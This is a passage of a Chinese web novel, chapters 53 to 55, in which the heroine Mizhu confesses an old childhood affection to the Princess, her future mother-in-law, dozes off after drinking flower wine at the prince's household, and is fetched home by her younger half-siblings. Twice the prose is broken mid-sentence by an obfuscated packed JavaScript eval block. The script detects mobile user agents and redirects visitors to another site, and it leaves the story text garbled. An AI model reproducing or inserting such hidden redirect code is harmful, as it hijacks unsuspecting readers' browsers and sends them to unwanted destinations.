她是那种眼睛很亮的女子,眼睛里仿佛藏着两团火,能看出来早年心气高,是被身边许多人宠着的,所以那股肆意的劲儿,哪怕到了为人妇为人母的时候,依然被保留了许多下来。 以至于当她一笑,下巴会微微扬起,仿佛这辈子已经听惯了好话。 这种出身尊贵养出来的倨傲感,是用再多金银珠宝也无法塑造出来的气质。 蜜珠忽然很好奇,长公主为何会嫁给南宁王。 这无疑是一个骨子里有傲气的女子。 难道真的是传闻中一样,长公主是因为当初的南宁王太过于俊美,才动了芳心,愿意下嫁给对方? 蜜珠这会儿忽的想到了只有一面之缘的南宁世子。 上次来王府探病,瞧见对方刚刚醒来。虽只是那么远远一瞥,也没说上什么话,但那种皮囊之俊美带来的冲击感,的确是很难忘记。 如今想起,依然记忆犹新。 53.第 53 章 若是照着南宁世子的容貌推算,想必南宁王和传闻中的前朝公主李老夫人,也一定容颜极其出众。 在蜜珠发散思维想着这些的时候,长公主殿下温和地看着她,忽然道。 “今日来寻我,是有什么难处?” 蜜珠一怔,下意识不知道该怎么开口。 她迟疑着,来之前在心中演练了好多遍的话,忽然就堵在胸腔里了。 她和曲立封之间,的确是有幼年相识的情谊。 倘若没有当今陛下赐婚的这件事,而她又没有重生的话,想来命运轨迹的确会按照,让她嫁给曲立封的方向发展。 长公主母女待自己都热情善意,蜜珠忽然就有些踌躇了。 她抿着唇,低着头,沉默的时候,两排长睫垂着。 这让一旁看着的晚莲郡主,心里一阵痒痒。 啊啊啊,未来嫂嫂怎么会这么好看,好像仙女呀。 她如今总算是能理解了,为何当初娘会义无反顾嫁给爹。 嫁给好看的人,日日夜夜看着,眼睛开心,心里也开心,将来哪怕生了孩子,娃娃长大了也好看,加倍开心。 长公主看出蜜珠有话却不方便说,想了想,忽的对华静莙道。 “莙莙,去一趟娘房中,把放在枕边的那个盒子拿来。” 华静莙哦了一声,乖乖起身去拿盒子了。 等她一走,长公主又看了一眼身旁的常嬷嬷。 常嬷嬷是多有眼力见的人啊,立刻领会到长公主的意思,咳嗽了两声,示意凉亭四周围着的婢女们,都跟着自己退下,走远一些。 就连蜜珠身旁的小柳儿、蓄月等人,也都跟着常嬷嬷走开了。 凉亭这儿眼见着只有蜜珠和长公主二人了。 长公主这才道:“想说什么不妨直说,这里没有外人在。” 蜜珠这才沉默了片刻,郑重开口。 “今日来见长公主,民女心中的确是有事想说。” 听到蜜珠自称“民女”,长公主就眯了眯狭长的凤眼,察觉到了这句话里的生疏之意。 “昨日在街上发生的事,想必长公主有所耳闻。” 蜜珠掐着掌心,强迫自己坐直身子,将话都讲清楚。 不能因着未来夫君是个痴傻的男子,就特意去存了欺瞒的心思,不然蜜珠自己心里过意不去。 长公主见蜜珠这般认真,小脸上全是严肃神情,不由也跟着认真了起来。 “你是为了这个才来见我?无妨,不过是被个男子纠缠罢了,花开的好,自然会招惹一些狂蜂浪蝶来摘,这能怪花儿本身开的艳丽?” 蜜珠本来想说的话,就这么卡在喉咙。 长公主作为未来准婆婆,她对对方的印象,是定格在需要敬重的位置上的。 是以,说话时不可避免小心翼翼了一些,却没想到在对方眼中,自己之前的那些顾虑根本不值一提。 “…只是那男子我的确认识,我…幼时也的确生出过一些情愫。” 虽然那些过去,是蜜珠觉得极为难堪,想要完全忘记的存在。但有些情感的确发生过,哪怕是在少不更事的时候。 蜜珠希望自己能做到坦诚,这种坦诚不是为了别人,而是为了自己。 让自己能在将来的每一天,都不必刻意缩着身子去粉饰太平。 长公主认真听了一会儿,然后端详着自己儿子未来的妻子,终于弄懂了对方特意专程过来的原因。 “我明白了。在成亲之前,有过青梅竹马曾经喜欢过的男子,你心中觉得自己做错了,想要特意坦白,以求一个心安?” 长公主的声音是那种略有些哑的,但说话时惯有一种漫不经心,那种身居高位久了的倦怠感很强烈。 蜜珠猛地抬眸,眼眸里迸出情绪。 “不是。我并不觉得自己做错了。人非草木,在遇到真正可以相守的那个人之前会遇到什么人,是否生出动容与情愫,并不是自己一开始可以掌控的。” “我说这些,的确是想求一个心安,但并不觉得在定亲之前,对别人心动过是错。南宁王府对我太好,我才不想隐瞒这样的往事。” 蜜珠十根青葱水嫩的手指,攥成一团,语调也变得清脆有力起来。 “我只是想以诚待之。不想辜负长公主你们对我的善意。” 凉亭这里一时间陷入了沉默。 时间仿佛过去了很久,至少在蜜珠这里,感觉到一股无言的压力,但她却还是绷紧了身体,不愿意露出任何脆弱。 男子能在婚前有通房,甚至有外室,还能去花街柳巷,女子只是在心里喜欢过一个人,就要被打上错的印迹? 她知道今日在这里,示弱才是对的,而不是用刚硬的一面去愚蠢地撞。 但重生之后,有一股气和一把火,一直在她身体里流窜,终究是让她再也做不回从前那个绵软的蜜珠了。 过刚易折,可她这辈子才刚刚开始学会去刚,不撞一下,心中之气难平。 听着蜜珠的话,长公主的脸瞧着毫无表情,那种身为贵人的傲慢感一下子就更加强烈了。 蜜珠沉默着注视对方,并不躲闪长公主仿佛能看穿一个人的犀利眼神。 “你知不知道,就凭着你今日这番话,本宫就能治你一个罪,来全我南宁王府的颜面。” 半晌,长公主缓缓开口。 蜜珠放在膝上的双手依然攥着,唇也紧抿着,并不开口回答。 无论是背影还是脑顶的位置看,她都像是一个被吓坏了的小鹧鸪,这只小鹧鸪极秀美,但哪怕害怕成这样了,依然倔强保持自己的态度,并不求饶。 就在这时,忽的有一只咕咕叫的白鸽,落在了桌面。 看着像是从凉亭上方的位置飞来,累了才来歇脚。 长公主在看到白鸽时,本来还端着的神情一缓,唇角抽了抽。 就像是看到了一个信号,收起了方才的那股迫人气势。 她盯着面前的姑娘,勾起唇,冷不丁冒出一句。 “方才那些话都是说笑呢。谁年轻的时候没情窦初开爱过几个男人?” “想当年本宫阅遍了京城里的美男子,暗地里考查他们的才华与人品。在不知底细之前,也动过几次心,本宫甚至还为他们都编了一个册子,专做京城美男排行。” “你才对青梅竹马落魄的少年郎,动过一次心,比起本宫还差远了。有什么好紧张的。” 长公主几句话落下,蜜珠哑住了。 来之前,蜜珠想象过好多次,今日会遇到什么样的景象。 可能长公主会勃然大怒,可能长公主会指着她骂她不知羞耻,也可能长公主会训斥她往后收心,做个合格的世子妃,别让别人看了笑话。 在蜜珠想象过的所有场景里,唯独没有方才的那些话。 长公主…她的未来婆婆实在是… 蜜珠只能从自己的脑袋瓜里冒出来一个“妙”字。 换成前世,她只会觉得长公主说的那些话,和世俗要求的三从四德相去甚远,实在是太过于…大胆。 然而这样的话,放在重生以后,放在此时此刻,她只觉得方才惶惑的心,一下子从半空落到了地面,不再那么半吊着。 长公主瞅着蜜珠的神色,又端起花酿的酒杯,碰了一下唇,才道。 “知道了吧。你那些 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“罢了,你记着本宫今日对你说的话。你是华宣的未婚妻,既然你不因他的病,而对他生出嫌隙,还在众人面前维护他,那么就是天王老子来了,本宫连同整个王府也都会护着你。” 显然那日在街上,蜜珠对着曲立封说的那番话,也传到了长公主耳朵里。 想到自己说的那些“南宁世子是天上的月亮仙人,我三生有幸才能嫁给他……” 蜜珠整张脸都忍不住烧了起来,怪难为情的。 有些话在当时的那种场合说,并不觉得有什么,但换了个场合,正对着南宁世子的家人,她就察觉到尴尬了。 后面蜜珠就有些记不住长公主说了什么了,她整个人都有点晕乎乎。 花酿似乎也有酒劲儿,而今劲头上来了,她眼睛看人都带着雾。 站在凉亭远处的蓄月等人,一直远远瞧着自家姑娘。 前头还好好的,看起来小姐是在和长公主说些什么,但到了中间,似乎气氛有些不对,大小姐神色显得有点紧张,脊背都直挺着很紧绷。 不仅是蓄月瞧出不对,就连平日心思简单一点的小柳儿,也感觉自家小姐似乎有些紧张。 哪怕她们站的远,也能看出小姐有股坐立不安的劲儿。 蓄月和小柳儿对视了一眼,都按下了双眸中的担心。 没办法,这里是南宁王府,并不是自家院子,官大一阶都压死人呢。在别人家做客,纵然心中真的知道小姐此刻心情不佳,她们也不能贸然做些什么。 蓄月和小柳儿也只能暗藏担忧地望着凉亭。 常嬷嬷也和她们站在一块儿,也注意到了凉亭里的动静,但却分出了点注意力,暗暗打量了一番蜜珠的两个贴身丫鬟。 夏草不提,那是从王府里新拨过去的婢女,算半个自己人。 只看小柳儿和蓄月,常嬷嬷心中点头,觉得这两个丫头都还算是忠心护主,一颗心都在主子身上。 大户人家挑婢女和贴身丫鬟,并不一定要婢女多聪明,重要的是忠心。 其他的东西,不会的都可以慢慢教,只要人忠心肯学,什么都能学好。 “哎呀小姐!”小柳儿忽然惊呼一声。 凉亭里本来好端端坐着的蜜珠,忽的头一歪,靠在了石桌上。 这下小柳儿和蓄月都站不住了,立刻小跑着赶过去。 连同常嬷嬷和夏草等人,也都愣了片刻之后跟在了后面。 长公主面露无奈:“她喝了花酿,酒力不好,睡着了。” 54.第 54 章 “娘!娘!”晚莲郡主这个时候,终于捧着一个妆匣走了过来,颇有些气喘吁吁。 王府太大了,横穿两个院子回去拿东西,把华静莙累得够呛。 “咦,娘,我嫂嫂怎么了?” 长公主无奈看了一眼已经昏睡的蜜珠,叹气道。 “醉了。” 这时候蓄月和小柳儿,已经一人一边站在蜜珠身旁,轻轻推她。 “小姐…小姐…” “小姐…你醒醒…” 奈何蜜珠就像一只醉酒的小猫儿一样,身体软软,被轻轻推了两下,整个人瞧着软绵绵的,丝毫没有要醒过来的意思。 “娘,这花酿我喝了都醉,你偷偷给嫂嫂喝了两杯?” 华静莙将手里的大妆匣往婢女手中一放,走过来看蜜珠。 长公主瞧着一点也不急,看众人因着蜜珠乱成一锅粥的样子,惬意地笑了笑,举起自己手中的酒杯晃了晃。 “急什么,只是喝多了需要睡一会,既然今日天色都晚了,不如就让你们姑娘留在王府住一晚。” 小柳儿下意识露出难色:“这…”怎么可以! 他们家姑娘从来没在外面过过夜,怎么能在南宁王府待着。毕竟还没成亲呢! 而且夫人知道了也会担心的。 蓄月低着头,情绪不像小柳儿这般外露,看着比较恭顺,但却打定主意一直跟在自家小姐身边,不让对方落单了。 长公主瞧出蜜珠身旁的贴身丫鬟并不情愿留下来,也没说什么,只是瞥了瞥华静莙。 “你陪着你未来嫂嫂,等她醒了,将妆匣给她。” 华静莙愣了片刻:“好。” 几个婆子七手八脚把蜜珠抱上了轿子,将她送到晚莲郡主的院子。 蓄月和小柳儿立刻跟在轿子旁寸步不离,但心中稍稍安稳了一些。 知道是让小姐和晚莲郡主挨着住,便放心点了。 只不过,怕是要派人回去和夫人说一声了。 等安顿好蜜珠,蓄月和小柳儿对视了一眼,最终还是决定让小柳儿回去报信。 蓄月办事更沉稳,留在蜜珠身边,小柳儿也放心。 果不其然,等小柳儿跑回府里,和王氏说了蜜珠在南宁王府,还被长公主留宿。 王氏果真流露了担忧神色:“这孩子,怎么去王府也不和我说一声。” 她原本还以为女儿只是去了月夫人府上,回来晚了一些罢了。 却没想到,会等来小柳儿跟她说女儿去南宁王府,拜访了长公主的消息。 小柳儿见着王氏担忧神情,还是将之前长公主将夏草这等会武功的婢女也派过来的事儿说了。 “奴婢心想,小姐该是觉得要去感谢一番长公主,这才上门去拜访。” 都这个时候了,还不忘记帮自家小姐说说话。 反正要不是那曲立封忽然跑到街上拦着小姐,闹出那样的风波来,也不会有今日之事。 “感谢?何来感谢一事?” 王氏有点懵。 因着不爱出门与人交际的性子,她还不知道昨日在街上发生的事儿。 小柳儿错愕片刻,对着王氏诧异的神情,只能将事情的来龙去脉完整说了。 “哎哟!我的个乖乖!”王氏吓得惊呼了一声,拍着心口脸都白了。 “这么大的事儿,怎么不和我说?” 王氏气坏了,还有些后怕。 女儿如今是胆子越来越大了,俨然是大了,做什么都不和她这个当娘的商量一下。 “兔子急了也会咬人,何况曲立封这样心高气傲的书生。” 王氏想到了曲立封往日的为人,不由揪住了帕子。 先前还觉得曲家小子多半不会纠缠珠儿,两人好聚好散,将来各奔前程。 不曾想,事情还是闹到了这一步,曲家小子竟然跑到街上去拦人,当着这么多人的面,丝毫没考虑过后续怎么收场。 如今街道上并没有什么风声,想必是南宁王府在背后出手,中止了八卦。 这样看的话,珠儿去谢谢长公主也是应该的,但这… 王氏又纠结了。 此事还是不该让珠儿一个人去,她是当娘的,怎么能不陪着一起呢。 见王氏脸上神情变来变去,小柳儿也摸出了规律,不由道。 “夫人,小姐那只有蓄月姐姐一个人,我先赶回去了。” 一听小柳儿要回王府,王氏登时点头:“对对,你先去。” 这会儿她也不好亲自去接,倒是显得他们小家子气对王府不放心。 哪怕之前王氏也不满和愤愤过,为何陛下要给她家珠儿指了这么一门婚。但这几次和南宁王府,尤其长公主的人接触下来,人家桩桩件件办的事儿,都透着敞亮和大气。 尊重到位了,心就也跟着动容了,知道长公主他们是个厚道人家,在有些关键的事情上,就多出了一些信任。 但不管怎样,蜜珠没回来,王氏心里就一刻得不到安心,今夜注定是睡不好了。 知道蜜珠今儿不回来,一直伸着脑袋朝外盼着的,岂止王氏一个。 蜜云和蜜林姐弟俩,也都各怀心事。 阿晴自从回到京城后,就重新捡起了教蜜云习武的日常。为图方便,蜜云总爱在嫡姐的院子里习武,这样每次嫡姐回来,她就能第一个看见。 蜜林这家伙不知道从哪儿知道了这事儿,这两日一从学堂回来,就也急吼吼跑来,跟在蜜云身后一起学些招式。 对阿晴来说,反正教蜜珠一个是教,教蜜珠妹妹是教,那再加上一个蜜林,也没什么区别。 所以这两日蜜珠的小院子里,经常能在日落的时候,见到一大一小两道身影,跟在阿晴教习身边,照着她的话打招式。 蜜云还不晓得嫡姐今日不回来的事儿,她手里持着一柄从阿晴教习那借来的长剑,不太熟练地挽了个剑花。 心中算着每日嫡姐回来的时辰,她频频看向院门口。 才溜过来没多久的蜜林,手里没有剑,只有一根细树枝,却也跟着耍得有模有样,仿佛这样就能把自己融进两个女子间,成为其中一员。 他也下意识扭头看院门口。 这两姐弟细说起来,既然是一个宗族里的孩子,自然也是有上几丝淡薄的血缘关系,毕竟都是蜜家的子弟,老祖宗都是同一个。 但这两人如今一起回头看院门的举动,连同那股子心不在焉的样子,都像极了亲姐弟。 阿晴靠在树边,咔嚓咔嚓啃着苹果,耷拉着眼皮看这两人,摇了摇头。 “别看了,你们嫡姐今日不会回来了。” 这话一落下,蜜云蜜林两人同时扭头看向她。 蜜云还好,虽然眼中有些委屈和疑惑,却只是咬着唇,注视着阿晴,等着后者解释。 蜜林却是暴躁道:“你胡说八道什么!” 他嫡姐一个清清白白的姑娘家,夜里不回来住,还要去哪儿? 瞧见蜜林快变成刺猬扎自己的样子,阿晴将手里的苹果啃到只剩一个核了,这才掀起眼皮道。 “是不是我胡说八道,你去问问夫人便知道了。” 在江湖上混最重要的,就是及时获取消息。 哪怕如今已经半隐退,专门当起教习了,当年养成的那些习惯还没丢。阿晴还是会下意识去打听一下,每天在外头发生的事儿。 大到朝堂大事,小到一些涉及到邻里街坊的小道消息。 她甚至还琢磨着,能不能在这儿做点贩卖消息的小买卖定居。 毕竟给蜜家姐妹俩连同蜜林当教习先生,还是很闲适的,人得给自己找点事儿做。 在这么个心态的前提下,阿晴就没错过这两日关于蜜珠的事儿。 不论是曲立封这个书生,在街上试图冒犯蜜珠,还是后来被送到官府,甚至对方最后被投入大牢,这其中有过南宁王府的人插手撑腰的细节,阿晴都没错过。 至于今日蜜珠不回府里住,那是方才院子外头有丫鬟经过,阿晴耳力好,听到了她们的交谈。 她也有些好奇,蜜珠是为着什么不回府里住。 “我这就去问!” 蜜林性子最急,一个箭步跑在了前面,冲出院子门时,还不忘记随手将方才拿着的细树枝扔了。 好像之前习武,来这儿刷脸,都是为了做给蜜珠回来看到的架子似的。 蜜云愣了片刻,竟也提起裙摆扭头要走。 “我也去看看。” 走了几步,似是意识到,自己这样将阿晴教习扔下,有些不礼貌,便又退了回来,只眼巴巴看着阿晴。 “行吗,我能去吗?” 还又加了一句这话问。 阿晴的回答是勾勾手指,将手掌摊开。 蜜云愣了一下反应过来,忙将手里借来的长剑,规规矩矩放回阿晴教习的手心。 “那我去啦。”蜜云像只得到了释放,获得了自由的小兔子,提起裙摆跑得挺快。 一旁的丫鬟见自家小主子跑这么快,立刻闷头跟上。 阿晴站在树下,盯着蜜家姐弟俩跑远的身影,想了想,摇头失笑。 显而易见,蜜家的主心骨,其实都在蜜珠身上。 也不知道两个月后,等到蜜珠出嫁了,整个蜜府会变成什么样。到时候想必自己也不能再留下来,继续当教习了。 看来的确是要想想,往后自己该干什么。 其实蜜家二姑娘蜜云,更加符合阿晴印象里大家闺秀的样子。 显得格外拘束,注重规矩。 相比之下,蜜珠像是温顺的花朵中,破开的一根小竹子,有自己昂扬的力度。 不过说起来稀奇,当初阿晴是因着少主的命令,才来京城,去给蜜珠当女教习。 但却不知不觉变成了教蜜家姐妹俩。 再到如今,蜜珠因为要去月夫人那儿,无暇顾及到习武的约定。于是她就成了蜜云和蜜林的教习。 看来看去,反倒是当初最像大家闺秀,最最内敛怕生的蜜云,习武坚持得最久。 而蜜林则像是中途蹦出来的小猴子,虽然学的少,但毕竟年纪还小,看起来天赋不错,且骨子里有股凶性,实际上符合了习武之道勇猛精进的气势。将来若是真的送到方圆书院,下狠心去习武,兴许真能练出点名堂来。 阿晴忽然很好奇,将来蜜家的三姐弟,会变成什么样。 再说蜜云和蜜林二人,眼巴巴跑到了王氏的院子门口,被守门的婆子看到了,进去禀告王氏。 王氏这会儿还没睡下呢,听到蜜云姐弟俩来,揉着太阳穴坐了起来。 “他们来做什么?” 实在是心力交瘁,也没有什么心思去应对庶子庶女。 王氏身边的大丫鬟翠玉就低声道。 “见他们问了大小姐的事儿,想必是担心大小姐才来特意问问。” 听到两人都关心女儿,王氏这才支起身子,疲惫地招了招手。 “请他们进来吧。” 被请到王氏房里时,蜜云整个人就拘束了起来,往常因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724469|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着刘小娘的缘故,她和王氏就走动不多,再加上王氏也不像其他人家的主母那么重规矩,知道刘小娘对自己的孩子看得紧,她对于蜜云也不怎么插手去管。 一来二往的,作为嫡母,王氏和蜜云之间还真没说过多少话。 至少像今日这样私下相处的机会,是很少的。 蜜云低着头不说话,一旁的蜜林却没那么多顾忌。 换成半个月前,蜜林可还是个无法无天,整日里上蹿下跳的捣蛋鬼,可把王氏气哭了好几次。 而今只是因着蜜珠的教训,才改了性情,不再那么调皮,但那份胆子还是在的。 见跟着自己一起进来的蜜云喊了声“嫡母”,就哑巴着不开口了,蜜林忍不住问。 “嫡姐今日怎么还不回来?她去哪儿了?” 问起这话时,倒不像个八岁孩童,显得很老气横秋。 他以前更没规矩的样子,王氏房里的其他人也看过,相比之下,如今反而算讲话好声好气了,便也没人奇怪。 王氏见一双儿女全都盯着自己等答案,心中却是一暖。 到底蜜珠是她的宝贝女儿,有这样发自内心关心的手足,王氏是乐见其成的。 想到这儿,王氏便也没隐藏蜜珠去了哪儿,将事情的实情说了。 蜜云听完,失落极了。 她都已经习惯每天等着嫡姐回来,傍晚姐妹俩再随便说点什么。 而且眼见成亲的日子还有那么两个月,日子是越过越少,以后和嫡姐这样的相处时光是再没有了。 这能不叫人惋惜? 她低着头准备回去,一旁的蜜林也沮丧了下来。姐弟俩都跟被太阳晒蔫儿的两株草一样,垂头丧气好不可怜。 王氏瞧着他们走出去的背影,扭头看向身旁丫鬟翠玉。 “从前真没瞧出来,珠儿和他们的感情这么好。” 翠玉也感慨:“都是夫人你教得好。别的府上,嫡女和其他子女之间,哪有这么好的关系,不勾心斗角是极难得的。” 王氏却不敢接受这样的夸:“我自己有多少斤两,我还不晓得。珠儿能与兄弟姐妹们关系亲近,绝不是我的功劳。” 仔细说起来,似乎也是从圣旨赐婚之后,珠儿才有了种种改变。 王氏如今再回忆从前的女儿,都有种恍如隔世的感叹。 “珠儿竟不知不觉就长大了。都说女大十八变,我瞅着她小的时候,可没想到大了能这么独当一面。” 翠玉也跟着回忆了一番从前的大小姐,真心实意跟着点头。 “大小姐的确是变化不小。” 要看变化,就拿今日来见夫人的二小姐当对比就能发现。 大小姐从前也这样,话少、性子内敛,就连和人对视都躲着,从前还经常让下人感叹,将来大小姐成亲了,恐怕又是一个和夫人一样的软活性子,当不了厉害的主母,若遇到厉害点歹毒点的妾室,恐怕就会被欺负。 如今这样的担忧,想必已经不存在了。 * 蜜云垂着脸往自己和刘小娘的住处走时,就听到了身后传来的声音。 “喂。” 她回头,就见蜜林摸了摸鼻尖,跳到她跟前,没好气道 “你也不想嫡姐以后不回来吧。” 蜜云不太明白这弟弟的意思,不由睁大了眼看对方。 蜜林见她听不懂自己的意思,哎了声,跺了跺脚。 “你怎么不聪明呢。这点暗示都听不出来。” 蜜云不爱和人争辩,尤其是从刘小娘手里养大,她听惯了人发脾气,闻言也只是轻声道。 “我是你二姐姐,不要喊我喂。” 她也要跟嫡姐学,不能什么事儿都忍气吞声,把人的血性都磨没了,这样没骨气。 习武这段日子,蜜云的性子也在悄无声息地发生改变。 阿晴教习常和她说,习武之人有所忍也有所不忍。忍的是自己的性情,不忍的是道义与不平之事。 常听着阿晴教习偶尔说点江湖上的事儿,便忽然觉得只后宅那么点大的地方,实在是束缚人的性情,叫人变得更加井底之蛙。 反正在一个宅子里住的人,大家都是井底之蛙,谁都不比谁好多少,那又何必在心里提前怕上别人几分呢。 蜜林相当于在蜜云这儿,碰了个软钉子,错愕片刻,想到了什么,摆了摆手。 “行行行,二姐。你是我二姐。” “我方才说的,你听见没,我们去想个法子,把嫡姐接回来呗。” 他重新开口,努力转移到正事上。 蜜云不解:“怎么接?去王府接吗?” 她心里虽然盼着让嫡姐回来,但嫡姐有她自己的事儿和计划,已经说好了不回来了,怎么去接呢。 “对啊。去王府!”蜜林却不管她的反应,拍了拍手。 “你想啊,爹和嫡母肯定不会去管嫡姐的事,他们抹不开面子,觉得在王府面前低人一等,什么事都得按规矩来。但咱们不一样!” 见他说的兴起,蜜云犹豫:“我们如何不一样了?” 蜜林瞪眼:“你看看我,再看看你,我是个毛头小子,你是个丫头片子,你还没及笄,我也才不到十岁,我们是孩子!不守规矩也说得过去。” 这话说完,他懒得多解释,索性下最后通牒。 “去不去,就一句话。反正你不去,我自个儿要去。” 蜜云怕他闯祸:“你不要擅作主张啊。” 蜜林头也不回,带着书童就往大门口跑。 55.第 55 章 “二小姐,我们回去吧。”身旁的丫鬟催促蜜云。 蜜云一咬牙,提起裙摆跟上了蜜林,对丫鬟道。 “你去和我小娘说一声,我再晚点回来。” 剩下门房摸着后脑勺,瞧着天都黑了,林少爷和二小姐却都一个比一个跑得快,从门口出去了。 外头有啥好事?还是有谁等着? “不懂。”门房嘀咕了一声,重新将大门关上。 往常大小姐二小姐都是大门不出二门不迈的,如今却都爱往外跑,也是怪哉。 * “你们家大小姐酒力这么浅吗?我娘说她都没喝两杯花酿,人就醉了。” 厢房里传来了晚莲郡主的声音。 蓄月的声音要清冷一些:“小姐本就不怎么饮酒。” 而且今日在月夫人那儿,因着义结金兰的事儿,大小姐已经喝了一大碗烈酒。 本就不怎么喝酒的人,今日猛不丁喝了烈酒加花酿,当然受不住。 “既然她都已经醉了,就让她在我屋里住吧。”华静莙守在床边。双手托腮,看着未来嫂嫂,忍不住想,兄长真是够沉得住气的,都那么久了,竟然不想法子冒头来看看未来嫂嫂。 睡着了的嫂嫂,脸蛋红红的,睫毛也好长,乖乖甜甜的,特别招人喜欢。 蓄月见晚莲郡主这般粘着自家大小姐,收回了目光,只垂头不语。 不管王府是怎么安排大小姐的,她今夜都不准备睡了,是必定要守在旁边护主子周全的。 华静莙见蓄月不搭话,笑道。 “我瞧出来了,你不放心。怎么,怕我嫂嫂在王府还会受委屈,被谁欺负吗?” 蓄月忙摇头:“奴婢不敢。” 她一副和其他丫鬟婢女没什么区别的恭顺样子,顿时让华静莙没了说话的兴致。 就在这时,华静莙听到了外头的动静。 “怎么回事呀,吵吵嚷嚷的。”她起身去看,示意外头的人不要发出声音,吵着蜜珠休息。 却见小婢女跑来悄声和她说道:“蜜姑娘府里头来人了,说是要接她回去呢。” 华静莙睁大眼睛:“?” 她扭头去看蓄月:“蜜家这么小气的嘛?只是让人留宿一晚都不行?” 往常华静莙的话是不多的,尤其在外头,她常给人一种木讷内敛不爱说话的印象,但只有在这王府里,她才会放出自己真实的性格,不那儿收着。 蓄月低着头没吭声,心中却暗暗松了口气。 这府里来人接小姐,这事儿看似得罪了南宁王府,但于小姐来说,却是好事。 还未成亲,便歇在王府,总归是不太方便。 这边才刚对话一会儿,蜜珠似是听到了动静,有了转醒的迹象。 她支起身子,眼眸半睁开,脸蛋红红的,像是可口的一个桃子,瞧着水嫩红润。 “这是怎么了?” 她还没反应过来自己在哪儿,语气犹带些迟疑。 “嫡姐!嫡姐我们来接你了!” 外头传来了大嗓门蜜林的声音。 南宁王府还是头一次遇到这么嚣张的人,上门来接人,嗓门高到能地动山摇。 蜜珠一时间有些恍惚,怀疑自己是不是在做梦。 不然为何会在晚莲郡主的房里,听到外头有蜜林的声音? 华静莙气呼呼跑出去,就见一个和她差不多大的少女,还有一个半大的小少年,正排排坐在门口,可怜巴巴看着她。 明明对方的大嗓门听着是很挑衅的,真见到真人了,反而是两个看起来气势很弱、可怜巴巴的半大孩子。 甚至也不知道怎么回事,两人脸上还有些灰,要不是身上的衣裳是干净的,瞧着都像是被外头乞丐打了一顿进来一样。 华静莙本来涌到心口的怒火一窒。 “你们是谁?” 她瞪大眼问。 蜜云站起来,小声道:“我是蜜珠的妹妹。” 蜜林也跟着站直,干巴巴回答:“蜜云的弟弟。” 两人年纪瞧着都不比华静莙大,还是放低了语气,显得很弱势的来要人。 这让华静莙准备好的说辞,都这么卡在了喉咙口,张了张唇,没能说出来话。 蜜云深吸了一口气,瞧着晚莲郡主的神色,上前一步行礼道。 “嫡姐这个时辰了还没回来,我和弟弟都不放心,就想来瞧瞧。往常嫡姐都会回来住的,今日忽然不回来,且还没告诉我们,怕她出事。” 蜜林也在一旁帮腔:“我嫡姐在家里的日子,统共就只剩这么一些,我们舍不得她…” 蜜林年纪要小一些,装起可怜来,简直得心应手。 真没想到,之前凶巴巴到能顶撞嫡母的蜜林,演起戏来,浑然天成,压根瞧不出以前当调皮小魔王的样子。 华静莙到底也不是那等刁蛮的性子,瞧见两个和自己一般大,甚至还要小一点的人,上门为了自己嫡姐来讨人。 就莫名有种愧疚…仿佛今日将人留下来,是在破坏人家一家几口团聚一般。 “你们…”华静莙迟疑半晌,抿了抿唇。 “算了,不与你们计较了。你们嫡姐在我这儿,问她吧,她刚好醒了。” 以前怎么不知道,蜜家的兄弟姐妹这么团结。做大姐的蜜珠,只是夜里不回来,就能让两个小的眼巴巴追过来讨人。 华静莙换位思考了一番,发觉自己还是做不到的。 她兄长暗地里借着痴傻的名头,时不时地跑出京城混江湖,她可从来没找过。 也没耽搁太久,蜜珠从里头出来了。 “嫡姐…” 蜜林两人立刻眼巴巴迎了上去,活像是两只小猫贴上来喵喵叫。 蜜珠心里忽然有些过意不去。 她抬手,摸摸蜜云的头发,又拍了拍蜜林的肩膀。 “怎么还跑到这儿来啦。我不是让小柳儿回来传过信么。” 蜜云两人同时摇头。 “没亲眼见着,不放心。” 虽然有些惊讶弟弟妹妹们特意追过来接自己的行为,蜜珠心底里还是感动熨帖的。 华静莙站在不远处,先还觉得没什么,只是感叹蜜家的人感情好,但见着蜜珠主动摸摸妹妹脑袋,她就有些吃味儿了。 晚莲郡主嘟起唇,瞧着闷闷不乐,脑袋也低了下来。 怎么蜜珠姐姐不是她的亲姐姐呢。 先前她还觉得,蜜珠对自己已经够亲近了,可瞧见人家亲姐妹相处,她才察觉出亲疏远近。 要是她也有个蜜珠这样的亲姐姐就好了。 小郡主有点儿委屈和沮丧,看不得别人姊妹情深。 呜呜呜她没有。 尤其是,本来今晚蜜珠姐姐是要留下来,和自己一起住的,结果现在人家要走了… 而且还是跟着正牌妹妹走。 虽然知道不该这么比,晚莲郡主心中还是有些伤心和酸楚。 然而在她陷入失落情绪时,忽然有一只温柔的手,落到了她脑顶上,轻轻抚了两下。 这只手力道轻柔,好像一阵风或者是柔软的云朵,曾经落到脑顶碰了一下。 晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今日见到蜜珠姐姐,发现她依然如往常一般明媚照人,是天生的美人胚子,瞧着便令人通体舒泰。但可惜的是,蜜珠姐姐打扮太过于素净了。 别人家的姑娘,别说天天穿金戴银了,就是身上的衣裳料子都不穿重复的,变着法儿的打扮。 唯独她的未来好嫂嫂,明明有着令任何女子都羡慕的绝色容颜,穿着打扮却比寻常女子还要寡淡一些。 “反正…不管什么东西,娘想给,都是长者赐不可辞哦。” 华静莙说起这些时,语气俏皮。 推辞不动。 蜜珠走的时候,只能将妆匣带上。 蜜林和蜜云两人则像个小尾巴,一直跟在蜜珠身后一块儿离开。 今日一天发生了好多好多的事啊。 不过…从听到那声轻笑声开始,蜜珠就总有一种无名也在近处瞧着自己的感觉。 